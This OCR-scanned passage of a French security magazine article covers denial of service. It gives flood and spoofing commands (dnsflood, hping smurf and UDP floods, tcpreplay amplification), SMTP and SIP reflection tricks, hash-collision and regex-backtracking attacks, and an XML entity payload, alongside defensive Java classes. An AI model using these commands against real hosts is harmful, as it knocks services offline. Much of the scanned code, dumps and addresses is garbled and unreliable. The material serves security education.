et rythme des zombies — nous évoquerons ce sujet un peu
plus loin dans cet article), néanmoins les points faibles sont
suffisamment nombreux pour que ce type d'attaque reste
terriblement efficace.

Les attaques spécifiques

Enfin, de nombreuses applications préesentent des faiblesses,
voire des failles, qui peuvent étre exploitées. En voici quelques
exemples, la liste n'étant bien entendu pas exhaustive.

DNS Flooding

La spécificité des serveurs DNS est gu'ils travaillent rarement
seuls, Bien souvent, ils vont avoir besoin de faire appel a ceux
qui savent. A partir de la, il apparait comme évident qu'un afflux
important de requétes peut leur faire trés mal. En outre, la
résolution de nom s'effectue au-dessus d'l0P. Cela signifie que
le spoofing peut étre exploité et que nous pourrons benéficier
d'un deuxieme effet, les sources spoofees recevant du trafic sur
un port ferme renverront des paquets [CMP Port Unreachable qui
devront étre traités par notre cible.

De maniere basique dnsflood.pl [dnsflood], effectue cette petite
operation de maniére triviale.

[ront@localhost root]s dnsflood 192.168.262,183

attacked: 192.168,262.143,..

La capture des traces permet de voir la variation des sources,
les noms de domaines construits de telle sorte qu'il n'y a aucune
chance qu'ils soient en cache et enfin le rythme (de I'ordre de 200

requétes par secondes sur un Pentium I1).

[root@localhost rootl# tepdump -wwv <X dst port 53

topdump: 1istening on ethd

16:24:28,757514 6.15.166,186,domain > 192.168.202.183.domain: T187+[|domain]
(tt] 64, id 1585, len B5)

BxBeEA 4500 BESS @6ld ABED 4811 cal DABT abba £
BxBE1E  cBaf cab? €835 GB35 BA4l flee lbcd 18D
BxB@2g BEdl BoRE GAEE GRBE Z363 7778 THeb 6164
BxBB38 7567 6466 6468 Geth hosZ G175 BY6b 736d
BxBB4D 6765 6472 6964 Bel5 K75 6774 Q36f 7267
fxe3d =
16:24:28.762579 194,120.187.135.domain > 192,168.202.183.domain:  7188+[ldomain]
[tt] 64, id 1565, len 86)

gx08@8 4580 0856 @old BRED 4811 ebba CZ7R bbET
BxBB10  cfad caf? €35 @035 BE42 5eld Ibcd 2183
ExBE28  PAG1 QPGB0 ARGG @ACE 2463 7778 TA6b A1R4
BxBE3D 7567 G466 b4E8 DebB oAb 6175 96D T36d
BxBE48 6765 67l 696d Berb 675 6774 6263 672
fx0858 6700

16:24: 28767682 253.228,134.68. domain > 192,168,202, 183 . domain:  7109+[|domain]
(tt] 64, id 1565, len 87)

xBE00 4500 AB57 B61d ORED 4811 6546 fded Bedd
Ex0018  c@aB cah? @@35 0835 @43 b51Z lbch 108
BxBE20 Bo@1 BBGY ABAC BRRA 2563 7778 7Aeh 6164
BxBE30 7567 6466 6468 Ge6B 6662 6960 736d
BxBE48 6765 6d7C 696a Bl BETH 774 B2TH A36f
BxBOEE 7267

Jowxpkad
ugdfdnnnfbauiksm
qemr |‘r|.‘.:.|‘g! .org

ST B A F

Du coté du client le succes est confirmé par la simple incapacite

de nslookup a se connecter au serveur.
Di\>nslookup

ONS reguest timed out.

timeout was 2 seconds.

% Can't Find server name for address 192,168,.202.163: Timed out
3 Default servers are not availabla

Befault Server: Unknown

> WwwW.geogle.com

Server: Unknown

Address: 192.168.282.183

NS request timed out.

timeout was 2 seconds.

ONS request timed out.

timeout was 2 seconds.

% Request to Unknown timed-out

> exit

SMTP Tricks

Une opération triviale et néanmoins efficace permet de genérer
un déni de service sur un serveur SMTP. Elle consiste tout
simplement a établir une session TCP sur le port 25, d'envoyer
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des données aléatoires et de fermer la session proprement. A
l'aide de quelques zombies, quelques centaines de mega de trafic
vont pouvoir étre générés et le serveur mourra dans d'atroces
souffrances.

Mais le plus amusant est de s'attaquer aux serveurs mettant en
place des mécanismes de lutte contre le spam (voir Misc n°17).
Prenons le cas des serveurs qui verifient la validité syntaxique de
la commande HELD. Comme nous le savons, le rejet d'un mail ne
peut &tre effectif qu'a l'issue de la commande RCPT TO:. La suite
tombe alors sous le sens. Etablir de nombreuses sessions SMTP,
lancer une commande HELD et s'arréter la va imposer au serveur
de maintenir le contexte de |a connexion actif pendant un certain
temps. Et comme d'habitude, le maintien de plusieurs dizaines
de milliers de contextes n'est pas necessairement ce pour quoi
le serveur a été mis en place. D'autant plus que nous pouvons
beneficier d'effets secondaires amusants. Si le serveur effectue
une reésolution inverse, il va émettre une requéte DNS, d'on trafic
et calculs supplémentaires...

Augmenter la pUiSSElI'ICB d'un DoS
Criteres d'efficacité

Avant de chercher a tout prix a augmenter la puissance d'un
DoS, il est important de comprendre quels sont les facteurs qui
peuvent intervenir sur son efficacité. Il faut néanmoins garder a
l'esprit qu'il n'y a pas une formule unique pour le calcul d'impact
d'un déni de service.

Le premier facteur est la bande passante du lien par lequel passent
les communications. Dans la plus grande partie des cas, il s'agira par
consequent de la ligne d'acces a Internet. Cette valeur intervient a
deux niveaux. Le premier est évidemment la capacité de transfert
de donnees. Le volume de celles-ci dans le cas d'attaques par
zombies, worms ou flashmabs est particulierement important dans
lamesure ol il s'agit de réponses a des requétes HTTP et que,
par conséquent, elles contiennent souvent des images et autre
contenu volumineux. Dans ce sens, accroitre la bande passante
permet de limiter |'impact de telles attaques. Le second niveau
est le nombre de paquets par seconde pouvant étre transmis a
travers le lien en question. Ainsi l'efficacite d'un SYNFlood ou
d'attaques par anomalies par exemple depend directement de
cette valeur. Les paquets de ce type ayant une taille de 64 octets,
un lien a |0Mbps permet le transfert de 20.000 d'entre eux par
seconde. Ceci peut étre suffisant du point de vue d'un SYNFlood
alors qu'il faudra compter 5 fois plus de paguets, et donc de
bande passante, pour avoir un effet conséquent avec la plupart
des anomalies TCP.

Le second facteur est bien entendu la puissance du processeur du
systeme cible. Ce facteur jouera essentiellement dans le cas des
anomalies et des attaques applicatives. Il n'y a bien entendu pas de
regles precises en ce qui concerne la capaciteé de traitement des
requétes en fonction de la puissance des processeurs. Néanmoins,
lasimplicité de genération d'attaques puissantes devrait permettre
de sensibiliser sur le fait qu'un systéme tournant a 70% d'utilisation
processeur en operations normales n'a aucune chance de résister
ala moindre tentative de deni de service.

Le troisieme et dernier facteur, et néanmoins le plus vaste, tient
aux differentes configurations des systemes et applications. En

effet, deux systemes parfaitement identiques en termes de bande
passante et de processeur peuvent avoir des seuils de résistance
tout 3 fait différents en fonction de leur parametrage. Ainsi, la
mise en place des SYNCookies sur un systeme en accrojtra la
résistance aux SYNFloods (si tant est que la puissance processeur
soit dimensionnée en conséquence). De méme la suppression de
la résolution inverse des parametres de la commande HELD sur les
serveurs mail permet une économie importante de ressources.

Le principal probléme, en termes de protection passive, est que
la modification des parametres est souvent a double tranchant.
Prenons l'exemple de la limitation du nombre de connexions
simultanées. Elle peut permettre de limiter I'impact d'un flashmob
en termes de bande passante. En revanche, le serveur se verra
plus facilement exposé aux attaques par pending sessions.

Génération des paquets

Comme nous |'avons vu précedemment, de trés nombreuses
attaques cherchent a genérer un volume considerable de paquets
en un minimum de temps. Le premier moyen d'augmenter
I'efficacite d'une attaque consiste par conséquent a accroitre la
capacite de generation de paquets de la station attaquante en
réduisant les opérations nécessaires a la creation de ces paquets.
En fait, nous allons méme supprimer toute cette phase afin en
particulier de s'affranchir des opérations « lourdes » telles que le
calcul de |a taille ou des checksums.

Le couplage des outils hping et tcpreplay [tepreplay] est alors
idéal. Reprenons pour I'exemple notre attaque sur les ports UDP
fermés. Grace a hping nous generons les paquets « type » via une
commande du type :

# hpingd --udp --rand-source -p 12345+ -4 64 <adresse cipie> --flood

Sur la machine attaquante le trafic sortant est sniffé et enregistre
dans un fichier au format libpcap : udpflood.pcap. Linterét de
tcpreplay est qu'il se contente de lire un fichier de capture et
d'envoyer sur le reseau les paquets tels quels, en particulier sans
calculer les checksums, tailles de paquets, etc. Il ne reste donc
plus qu'a lancer la commande suivante :

-1 ethd -1 10688 udpfioed.peap -n 18

# tepreplay
pour que le fichier de capture {dans lequel nous n'aurens garde
que les paquets pertinents soit par un filtrage amont au niveau
des filtres tcpdump, soit par un premier passage tcpreplay avec
les options -x et -w), pour que le fichier donc soit rejoue 10000
fois (option -1) a un rythme 10 fois plus eleve (option -m) que
l'original.

Les SYNFloods et leurs variantes, la majeure partie des attaques
protocolaires et par anomalies, peuvent étre rejoués ainsi et
voir leur efficacité — ainsi que celle de leurs effets de bord —
décuplée.

Réflection

La réflection trouve son origine en 1998 avec les attaques par
smurfing (voir introduction du dossier). Le principe consiste
simplement a trouver un composant exterieur (réseau, application)
qui puisse agir comme un effet de levier sur notre attaque afin
d'obtenir un ratio effort/impact le plus petit possible.

Reprenons notre exemple historique... Le smurfing consiste donc
a envoyer un [CHP Echo Request en broadcast sur un réseau, ce en
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ayant pris soin de spoofer la source (qui devient la cible de notre
attague). Encore une fois hping (avec tepreplay pour un effet plus
« mortel ») va nous aider dans cette tache.

# hpingd --icmp --spoof <adresse cibie> -d 1472 <adresse de broadcast> --flood

Notons au passage que l'option -d permet de préciser le volume
de données integre dans le paquet ICHP. Avec un en-téte IP de 20
octets et un en-téte ICMP de B octets cela nous fait un paquet
de 1500 octets qui ne sera pas fragmenté sur un réseau Ethernet
(dont la MTU est de 1500 octets).

En montant dans les couches certaines applications s'avérent
également intéressantes. Cependant, il faut garder a l'esprit que
nous devons étre a méme de spoofer la source. Nos regards
se tournent donc naturellement vers UDP. Cependant, et pour
changer, nous n'allons pas nous acharner sur le DNS (bien que ce
dernier reste tout a fait adapte a cet usage), mais vers 1P (Session
Initialization Protocol) ou plus particulierement vers RTP (Real Time
Transport Protocol) et son exploitation via SIP.

Pour memoire, SIP est un protocole de signalisation géneérigue,
définissant un cadre, un peu comme SNMP pour 'administration
de réseaux ou XML pour I'échange de données. RTP, lui, est utilise
pour le support de données temps réel, donc essentiellement la
voix ou la vidéo. Pour simplifier, SIP est utilisé pour |'établissement
des communications entre un SIP UA (User Agent) et son serveur.
Cependant |'établissement de connexions entre UA liés 2 des
serveurs distincts impose l'usage de proxy, ce qui signifie que les
serveurs ne peuvent pas se baser sur |'adresse IP source pour
etablir la connexion mais sur une information contenue dans le
paquet SIF.

C'est 14 que nous intervenons. Comme nous l'avons vu dans
I'article « Canaux cachés (ou furtifs) » (Misc n°18) I'en-téte SIP
d'une commande INVITE contient un champ Via: qui indique
I'adresse IP {ou le FQDN) du systéme avec lequel la connexion
doit étre etablie. Spoofer ce champ est trivial et fournit un effet
de levier considérable. Imaginons que le serveur fournisse un
flux permanent de 32kbps (un peu faible mais bon). Pour chaque
paquet [NVITE d'environ [KB dont la source est spoofee, la cible
recevra 32kbps de trafic sur son lien... Simple et efficace,

Conclusion

La mise en ceuvre de dénis de service, qui s'avérait
complexe « autrefois » pour des raisons de performances,
devient de plus en plus simple. En effet, la puissance des
PC actuels et |'acces haut débit a Internet deviennent des
facteurs gui facilitent considerablement le travail.

Qui plus est, nos protocoles de la couche de transport
presentent de nombreuses failles « natives ». Faute
d'évolution, les attaques les plus anciennes restent
d'actualité quand l'apparition de nouveaux protocoles
de couches élevées (comme 51F pour ceux qui ont suivi)
augmente les possibilités.
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Des algorithmes ont été inventés depuis de nombreuses
années afin d’améliorer I'efficacité des traitements. A partir
d'analyses statistiques sur les données manipulées et les
traitements associés, différentes propositions permettent
d'améliorer considérablement les vitesses d’exécutions.

Les algorithmes sont prévus pour étre efficaces dans le cas moyen,
mais pas pour le pire. Un pirate peut volontairement exploiter
les implémentations pour les placer dans les pires conditions.
Avec un petit volume de données, il peut alors avoir un impact
tres important sur I'application, la ralentissant considérablement.
Certaines attaques permettent de neutraliser un détecteur
d'intrusion, afin de camoufler une attaque plus importante.
D'autres pirates ont comme objectif d'interdire ['utilisation de
lapplication publiée sur Internet. Nous allons étudier quelques
algorithmes vulnérables a ces attaques.

Pour calculer la complexité d'un algorithme, différentes techniques
sont utilisées. Généralement, les algorithmes sont différencies par
le temps moyen d’exécution par rapport au nombre d'entrées.
Par exemple, I'insertion dans une « table de hash » de n elements
prend un temps moyen en 0(r). Mais dans le cas limite ou |a table
de hash est dégénérée, le temps moyen d'insertion est alors
enlin=).

1. Table de hash

Pour bien comprendre, regardons comment fonctionne une table
de hash.

L'objectif est de mémoriser des objets dans un conteneur et de
pouvoir les retrouver trés rapidement. La premiere approche
consiste a construire un tableau suffisamment grand pour contenir
tous les objets, et de consommer les places disponibles lors des
insertions. Pour rechercher un élément, il faut alors parcourir
toute |a table. Il y a une chance sur deux de trouver l'objet avant
d'avoir atteint la moitié de |a table. Cette approche présente un
inconvenient, il faut estimer correctement la taille du tableau. S'il
est trop grand, il y a une perte de place mémoire. Si le tableau est
trop petit, il faut en construire un autre plus grand, transférer les
objets d'un tableau a l'autre, et enfin, détruire le premier tableau.
Cela consomme des ressources mémoire et CPU.

Pour améliorer cela, les développeurs utilisent généralement des
listes. Chaque élément du tableau est porté par un neceud de la
liste. Des pointeurs permettent de référencer les nceuds suivant
et précedant. Avec cette approche, ajouter un objet n'est pas tres
coliteux. Par contre, pour rechercher un élément, il faut encore
parcourir la liste. Si elle est triee, il faut 0(n°) étapes en moyenne,
pour inserer les élements (figure |).

Les tables de hash ont apporté une nouvelle amélioration. Lidée
est la suivante. || serait sympathique de pouvoir estimer a partir
dou l'objet recherche se trouve. Pour pouvoir faire cela, un calcul
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est effectue sur I'objet a insérer. On appelle cela un « calcul de
hash ». Le but de ce calcul est d'obtenir un nombre representatif
de 'objet. Il faut que le calcul soit choisi judicieusement pour
produire une grande variabilite de valeurs, suivant les objets
inserés. Plusieurs objets peuvent avoir le méme resultat. |l faut
faire en sorte que ces collisions soient rares. Un tableau peut
alors reféerencer des listes courtes pour chaque valeur du calcul
(figure 2).

Pour rechercher un objet, le méme algorithme est utilisé pour
estimer la liste ou il est possible de trouver l'objet. Cette liste
est alors extraite du conteneur de liste et l'objet est recherche
linéairement dans une liste réduite.

Il est alors nécessaire de créer un tableau dont la taille est un
nombre premier alloué en mémoire. Ce tableau permettra de
referencer les différentes sous-listes. Un algorithme de calcul de
hash est selectionné. Pour chaque objet a inserer, la valeur de
hash est calculée. Le reste de la division du resultat par la taille
du tableau est alors calculée. Cela correspond a la position de la
liste a consulter pour trouver I'objet. Si les listes deviennent trop
importantes ou si la saturation du tableau de liste dépasse les 70%,
un tableau de liste plus grand est alloue. Sa taille est toujours un
nombre premier, car cela reduit les risques de collisions. Puis, tous
les objets sont répartis dans le nouveau tableau. Ce traitement est
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long et doit étre rare. En estimant correctement la taille initiale
du tableau de liste, on évite généralement ces traitements.

Avec cette approche, en moyenne, il faut ({n) étape pour
insérer un objet. Mais, dans le cas le pire, si les objets a inserer
sont judicieusement choisis, les collisions sont systéematiques.
Lalgorithme devient alors équivalent a une simple liste chainée.
Linsertion et la recherche degénerent en 0(n? ).

Que va faire le pirate pour réussir un déni de service d'une
application ? Il doit étre capable de générer des données
inserees dans une table de hash. Cela est relativement facile.
Les champs d'un formulaire, les en-tetes des pages, les adresses
IP, etc. sont tres souvent placés dans des tables de hash afin
d'accelérer leurs consultations. |l doit pouvoir insérer un velume
consequent pour que le ralentissement d'exécution se fasse sentir.
C'est generalement le cas des tableaux de hash, partages par les
utilisateurs (liste noire, caches partages, etc.)

En connaissant l'algorithme utilise pour le calcul de hash et
l'algorithme permettant de faire progresser la taille du tableau
en cas de debordement, il est possible de produire des valeurs
entrainant systématiquement des collisions.

Les données ne pouvant étre en double dans un tableau de hash,
il faut inverser le calcul du hash pour trouver différentes valeurs
arrivant au méme résultat,

Comme la valeur de hash subit un modulo suivant la taille du
tableau, il existe alors d'autres valeurs entrainant le méme résultat
pour une taille donnee du tableau de hash. Sont candidates toutes
les chaines de caracteres dont le reste de |a division entiere
de la valeur de hash par la taille du conteneur donne la valeur
recherchee.

Par exemple, I'objet 5tring de Java est trés souvent utilise comme
clef d'une table de hash. La méthode de production du hash du
JDK5 est la suivante :

clasy String

public int hashCode()

Cdnt = hash;
if (h==1)
int off
char val[]
fnt Ten
for {int i =0; 7 <Ten; 1++

h = 31%h + yal[off++]:

hash = f;

:.
return h;

Tous les caractéres sont multipliés par 3| et ajoutes au suivant.
Un cache est maintenant mémorisé dans I'instance. Ce n'était
pas le cas des premieres versions. Le résultat est placé dans un
entier,

Comment obtenir des collisions ? Avec trois caracteres A, B et C,
de valeurs ASCII respectives 65, 66, 67, le calcul est le suivant :

+ Etape | : 0%31+65=65;
+ Etape 2:65%31+66=208| ;
+ Etape 3 : 208/%3|+67=64578.

Il existe une relation entre les caracteres. Une unite d'un
caractere correspond a -3 du suivant. Si j'ajoute | a 65, je dois
enlever 31 a 66.

Avec des jeux de chaines de caracteres donnant le méme résultat
de hash, il est possible de les combiner indéfiniment pour
construire des chaines plus importantes dont tous les résultats
du calcul sont identiques.

Par exemple, les chaines de caractéres dont les valeurs sont :
[65,66,67], [66,35,67] et [65,67.36] ont les memes valeurs de hash,
quelle que soit la taille du tableau de hash. Dans le conteneur, ces
trois valeurs sont memorisees dans une liste chainée a cause des
collisions.

Il est donc tres facile de produire une multitude de chaines
de caracteres entrainant le méme résultat. Pour cela, il faut
sélectionner des couples de caractéres donnant le méme resultat
et les combiner pour générer des chaines de caracteres plus ou
moins longues en alternant les membres du couple. Pour avoir
des caracteres compris entre d et 2 afin de respecter |es eventuels
filtres sur les caracteres, comme il faut pouvelr soustraire 3|
en restant dans ce jeu de caracteres, il faut travailler avec les
caracteres compris entre § et z-31. Choisissons le couple 7P et
01, Les deux chaines ont la méme valeur de hash et font partie
des caracteres valides. Ensuite, avec un nombre traite comme une
valeur binaire, il est aise d'afficher I'une ou l'autre valeur, suivant
la valeur de chague bit. Pour une géneration a partir de |6 bits, il
y aura 16* chaines de 16*2=32 caractéres. Toutes auront la méme
valeur de hash et seront composées uniquement de caracteres
alphanumeriques.

Pour trois bits, les valeurs sont :
PPPRPP

Le programme de generation de chaines de caracteres est le
suivant ;

public static void generate(]

I

final int nbEit=31;

final int max¥alue=(Q
StringBuffer buf=
far (int pattern=

spattern<maxValug;++p
buf.setlengthif);
for (int 7=8;1<nbBit ++
buf.append{((pattern & [l<<i)i==f) 7 "Pp" 1"
tostringll;

tion de lg clef dans la table de hash

Un nombre de bit permet d'indiquer la taille des chaines
produites.
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Si lalgorithme est plus complexe, il existe une autre approche.
Parmi les résultats de I'algorithme utilise, il est possible de trouver
la valeur zéro. Cela consiste a réinitialiser |'algorithme. Imaginez
un programme capable de produire des chaines de caracteres
dont le résultat du calcul de hash donne zéro. Il est alors possible
de combiner toutes ces chaines pour en preduire de plus grandes
par combinatoire. Le résultat global de toutes les variantes donne
zZéro.

Pour rechercher les sous-chaines donnant la valeur zéro, une
analyse en force brute peut étre pratiquée. Cela permet de
produire une table de chaines une fois pour toute, dont les valeurs
de hash donnent zéro et de proceder a des combinaisons pour
attaquer une table de hash. Suivant la complexité de l'algorithme
de hash, cette étape de recherche peut étre importante.
Mais, celle-ci etant franchie, le méme resultat est exploitable
indefiniment, tant que I'algorithme de calcul n'est pas modifie.
Une recherche distribuee peut étre entreprise pour identifier
les données generant une valeur de hash de zero. Le reste est
un jeu d'enfant.

1.1 Comment empécher U'attaque
d'une table de hash ?

Trois failles sont exploitables.
+ Lalgorithme utilise permet de facilement trouver des
collisions. C'est le cas de la géneration d'une valeur de
hash pour les chaines de caracteres de Java. Un algorithme
plus complexe peut corriger cela. L'utilisation d'un calcul
cryptographique est préférable.

+ L'algorithme utilisé peut générer une valeur de résultat a
zero. Cela peut étre corrige en interdisant cette valeur ou en
utilisant une valeur aléatoire par application, pour initialiser
les algorithmes de hash.

# Lalgorithme utilisé etant reduit a 'aide du calcul du reste
d'une division, le nombre de collision est amplifie par la
taille du tableau de hash. Cela se corrige en ajoutant un alea
aux valeurs calculees. Un nombre aleatoire est tire lors du
lancement du programme. |l est systematiquement agrege
a la valeur de hash calculé, avant de referencer la table des
collisions. L'agrégation peut s'effectuer par un ou exclusif et
une addition, afin de maintenir le spectre des valeurs, tout en
cassant la prédictibilité.

Les langages de développement proposent des algorithmes de
manipulation d'objet, mais aucun n'est resistant a un deni de
service. Des attaques ont eété publiées pour Java, Perl, Python,
TCL...

Pour ameliorer les classes de Java, il faut utiliser une classe dont
lalgorithme utilisé pour le calcul du hash respecte les contraintes
enoncees, Lalgorithme est complexe ; la valeur d'initialisation
n'est pas predictible ; ainsi que les collisions dues a I'application
d'un module sur la taille du conteneur. La classe Securedasnstring
repond a ces imperatifs : voir tableau Source |.

Cette classe est utilisée pour alimenter les clefs.
map.putinen reHashkeyrappar(“abc”).obj);
map.findinen SecureHashkeyNrapper("abe"));

patkage name.prados.philippe.securikit;
import java.security Messagedigest;
tmport fava,security NoSuchalgorithmException;
import java.security.SecureRandom;
public final class SecureHashitring
{
private static final int rnd_ = new SecureRandom{Securefandom.
getSeed(28))
JSextintil;
private final String str_;
pubiic SecureHashStrina(String str)
’
str_= §tr;
}
public boolean equalstObject abj)
{
try
return str_.equals(((SecurehashString) obj).str_J;
]
cateh (ClassCastixception x)
{
return false;
}
public int hashCode()
f

try

bytel] digest = Messaqeligest.getinstancel
USHA" ). digast(
str_ getBytes());
int hash = rnd_;
for {int 1 =0; 1 < digest length; 1 == 4)
{
hash "= digest[{] | (digest[i = 1] << B)
(digestf + 2] << 16) | (digest(f + 3] << 24);
J
return (hash == rad_) 7 hash + 1 : hash;
]
cateh (NoSuchAlgorithmException 2
§
return rad_;
I
J
public String toString()
{
return str_;
}
]

Quelle est la realite de la menace ? En alimentant une table
de hash avec 300 000 objets ayant la meme valeur de hash, le
temps d'insertion est tombe a une demi-seconde sur processeur
Intel a 1,50 Ghz. Pour alimenter une table de cette taille, il faut
plusieurs heures dans une |VM. A partir du réseau, il faut utiliser
une attaque de deni de service repartie pour obtenir des resultats
convaincants. Le volume reseau est tres bruyant.

Une autre solution pour eviter ce probleme est de limiter la taille
maximum de la table de hash. La classe LimitedMap permet cela :
voir tableau Source 2 ci-apres.

N
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package name,prados.philippe.securikit;

import java.util.Collection;
mport fava.util.Iterator;
import Java.util.Map;
import java.util.Set;

public class LinitedMap implements Hap

{

public interface Overflow

{
public Object averfiow!linitedNap map, int number);

!
public static final Overflow Nothing = new Overflow()
{
public Object overflow(LimitedMap map, int number)
{
raturn null;
}
h

public static final Overflow Exception = new Dverflow()
public Object overflow(limitedMap map, int number)
{

i throw new ArrayStoreException();
}
be

public static final Overflow RemoveRandom = new Overflow()

public Object overflow(LimitedMap map, int number)

{
for (Iterator i = map.entrySet().iterator();
1.haghext{) &4 number > B; --number)

funexti);
1.removel);

return null;

t
k
private final Map next_;
private final int maxsize_;
private final Overflow overflow_;

public LinitedMap(Map next, Tnt maxsizel

this(next, maxsize, Exception);

}

pubiic LimitedMap(Map next, int maxsize, Overfloy overfiow)
{

next_ = next;

maxsize_ = maxsize;

overflow_ = ovarflow;

}
public int sizel)

{

return next_.sizel);

}

public boolean fsEmpty()

{
return next_,isEmpty();

}

public boolean containskey(Object key)
i

return next_.containskey(keyl;
}

public boolean contzinsalue(bject value

{

return next_.containsialuelvelue);
]
pubtic Object get(Object key)

{
return next_.getlkeyl;

publte Object puttObject key, Object valug)
{

if (next_.sizel] »= maxsize )
return gvarflow_averflow(
this, 1);
return next_.putl
key, veluel;
I
public Object removei{Object keyl
{

return next_.removelkeyl;
}

public void putAll(Map t)

if Tnext_.size() + t.sizel] >= maxsize.)
overflow_.overflow!
this, t.size());
next_.putallitl;

public void clear()
{
next_.clear();

}

public Set keySetl)
{

return next_.keySet();
}
public Collection values()
i

{
retlrn next_.values();

}
public Set entrySet()
[

' return next_.entrySetl);
}

Une instance permet de parametrer le comportement de la classe
si trop d'objets sont présents. Trois stratégies sont proposées :
ignorer les nouvelles entrees, générer une exception, supprimer
certains objets au hasard avant d'inserer les nouveaux.

Map map = new LimitedMapinew java.util.Hashtablei), 3,limitedMap.RenoveRandom);

2. Expression réguliere

D'autres algorithmes sont plus sensibles aux attaques exploitant
les complexités algorithmiques.Pour analyser des expressions
regulieres, plusieurs familles de moteurs peuvent étre utilisées :




Les NFA ou les DFA. Il s’agit d'une différence d'approche dans
I'analyse de I'expression. Un moteur NFA analyse tous les chemins
possibles de I'expression et retourne lors d'un échec. Un moteur
DFA maintient une liste des candidats encore possible et |'élague
au fur et a mesure des caractéres rencontrés. Chaque caractére
n'est analysé qu'une seule fois. Un moteur DFA est plus complexe
a compiler, mais plus rapide a I'exécution. Un moteur NFA est
plus rapide a compiler mais moins rapide a l'exécution. || est
fortement dépendant de la rédaction de |'expression reguliere,
alors qu'un moteur DFA en est indifféerent.

Par exemple, une expression (intlinfo) peut étre optimisée en
in(t/fo) pour un moteur NFA. Ainsi, en cas de retour, les deux
premieres lettres peuvent étre considerees comme possibles. ||
nest pas nécessaire d'analyser une nouvelle fois I'ensemble des
caracteres.

Prenons I'exemple d'une application qui utilise un moteur NFA,
sensible a la syntaxe de |'expression reguliére. Suivant les cas, le

temps d'analyse d'un parametre peut étre lineaire par rapport
ala aille de la chaine 0(n), quadratique 0(n®], cubique 0(n3) ou
exponentielle 0(nn).

Exemple

a* Lineaire
a*[ab]*D0 Quadratique
a*[ab]*[ac]*0 Cubique
(aaa)*0 Exponentielle

Un deni de service peut étre obtenu en envoyant, en grande
quantité, des valeurs suffisamment longues pour entrainer un
travail excessif du serveur. Cela occasionne de nombreux retours.
Par exemple, dans le cas d'une expression exponentielle, une
chaine de trente caractéres peut etre analysee en une minute en
consommant 100% de la CPU.

Pour vous en convaincre, consultez la demonstration ici :
http://jakarta.apache.org/oro/demo.html.

Indiquez I'expression AWK (moteur DFA) (alaa)*0, demandez
matches(), indiquez la valeur aaaaazaaaaaaaaaaaaaal et lancez le
traitement. Yous obtenez rapidement un resultat. Modifiez alors
lalgorithme utilise en Perl5 {moteur NFA), et lancez a nouveau le
traitement. Suivant la taille de la chaine, le résultat peut mettre
un temps tres important pour analyser I'expression. Notez que
le moteur DFA proposé par ORO ne gére pas les caracteres
unicodes.

Pourquoi cette expression pose-t-elle probleme ? Lors de 'analyse
de |a chaine de caractere, un premier a est consomme. L'étoile
indique que la regle est a nouveau applicable. Les a suivants sont
egalement consommes, jusgu'a la rencontre du 7. La regle prend
fin et la suivante est veérifiee. Elle indique qu'elle attend un 0.
Comme ce n'est pas le cas, la regle précédente recule d'une etape.
Le dernier a est réintroduit dans le moteur. La deuxieme regle
estalors testee, celle attendant deux 4. Le premier caractere est
valide, mais pas e second. La regle est alors rejetée. Un deuxiéme

a est réinjecte dans le moteur. Puis |a premiére regle est testée a
nouveau. Et ainsi de suite. Pour chaque &, toutes les combinaisons
possibles possédant un a et deux a sont testées, jusqu'a découvrir
I'echec de l'analyse lors de la rencontre du 1. Le nombre de
combinaison est monstrueux. |l faut un temps supérieur a l'age
de I'univers pour analyser une chaine suffisamment grande.
fal.{g)ta)iallatlall

talala)ia)iaila

dl.laliad)l
lal.lalt
\2).la)idd)ldd
idl.ldd)
igl.ledl ]
lgl.lag)id ]

2.1 Comment empécher l'attaque
d'expression réguliére ?

Comment supprimer ce risque ? Utilisez de preference un
moteur d'expression reguliere de type DFA. Malheureusement,
ils sont géneralement moins riches en fonctionnalites. Sinon, il
faut analyser finement les expressions regulieres utilisees pour
éviter au maximum les retours lors de I'analyse d'une chaine. ||
ne faut pas permettre a un utilisateur de saisir une expression
reguliere dans |'application. Si cela est vraiment necessaire,
les recherches de chaines doivent s'executer dans une tiche
specifique, de priorite plus faible que les taches du serveur. Un
timeout s'occupera de tuer le processus s'il dure trop longtemps.
L'extrait de la classe SecureMatcher indique comment proposer
une protection pour l'utilisation des expressions régulieres de
Java (voir tableau Source 3 page suivante).

Il faut encapsuler une instance Hatcher par la version sécurisee.
Les methodes proposées simulent les methodes originales. Elles
acceptent eventuellement une valeur de timeout et retournent
une exception en cas de timeout.

public static void main{String[] args)
{

Pattern p = Pattern.compile("(alaa)*8);

SecureMatcherip
GEEEELEEEEEEEEEEEEEEEER

System.out.printin(sm.matches! 1498 *not Fatch”);

éatcr InterruptedException e

I System.err.printint "TINEOUT 1")s
}
Une version compleéte de cette classe est présente sur mon site :
www.philippe.prados.name.

Les outils de détection d'intrusion permettent genéralement a
I'utilisateur de saisir des expressions regulieres pour rechercher
des modeles d'attaques. Les administrateurs doivent étre tres
prudents dans leurs redactions. Sinon, un pirate peut faire tomber
un site si I'outil est place en fagade ou bien le neutraliser s'il est
passif et ecoute les communications.

Attention egalement aux frameworks qui exploitent les mémes
expressions regulieres sur le client et le serveur. Par exemple,
un framework qui génére des scripts permettant de qualifier les
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champs des formulaires peut reveler les expressions utilisees
sur le serveur. Un pirate analysant la page peut déecouvrir des
expressions exponentielles et generer des valeurs entrainant un
deni de service.

public class SecureMatcher

(
private final Matcher matcher ;
private final iong defaultTimeout_;

private abstract class Booleandsync implements Runnabie
{
boolean result,

}

private boolean startBooleanAsync(BooleanAsync async, long timeout)
throws InterruptedException
{

Thread thread = new Thread(async);
threzad,setlaemon(true);
thread,setPriority(Thread HORM_PRIORITY / 2);
thread.start(l;

try

R—————

thread, join{timeout); y
t
finally
(

i (thread.isAlive(})

I thread.interrupt();
throw new InterruptedException(); |
i g
b

refurn async.result;

!

public boolean find(Tong timeout) throws InterruptedException
{
return startBooleanAsyncl
new BooleanAsync!)
{
public void runf)
{
result = magcher find(); {
}

}, timeout):

3. Autres attagues

Ces attaques peuvent s'effectuer sur differentes technologies,
lorsque que les algorithmes sont quadratiques ou exponentiels
ou qu'il existe des donnees permettant d'effectuer des boucles
sans fin.

Des fichiers XML peuvent inclure des ressources sans fin, provoquant la
saturation de 1a mémoire.

<taml version="1.0" encoding="1s0-8853-1"?><[DOCTYPE mack [

<[ENTITY include SYSTEM “file:///dev/randon">
_!)

<hack>

kinclude;

</hack>

Des scripts XSL peuvent partir dans des boucles infinies.
<xsl:template match="fop">

<xsliapply-templates select=""/>
</xsl:template>

Des fichiers compresses peuvent avoir une taille raisonnable et
produire des fichiers tres volumineux lors de la decompression.
Par exemple, une boucle peut compresser une suite de zero tres
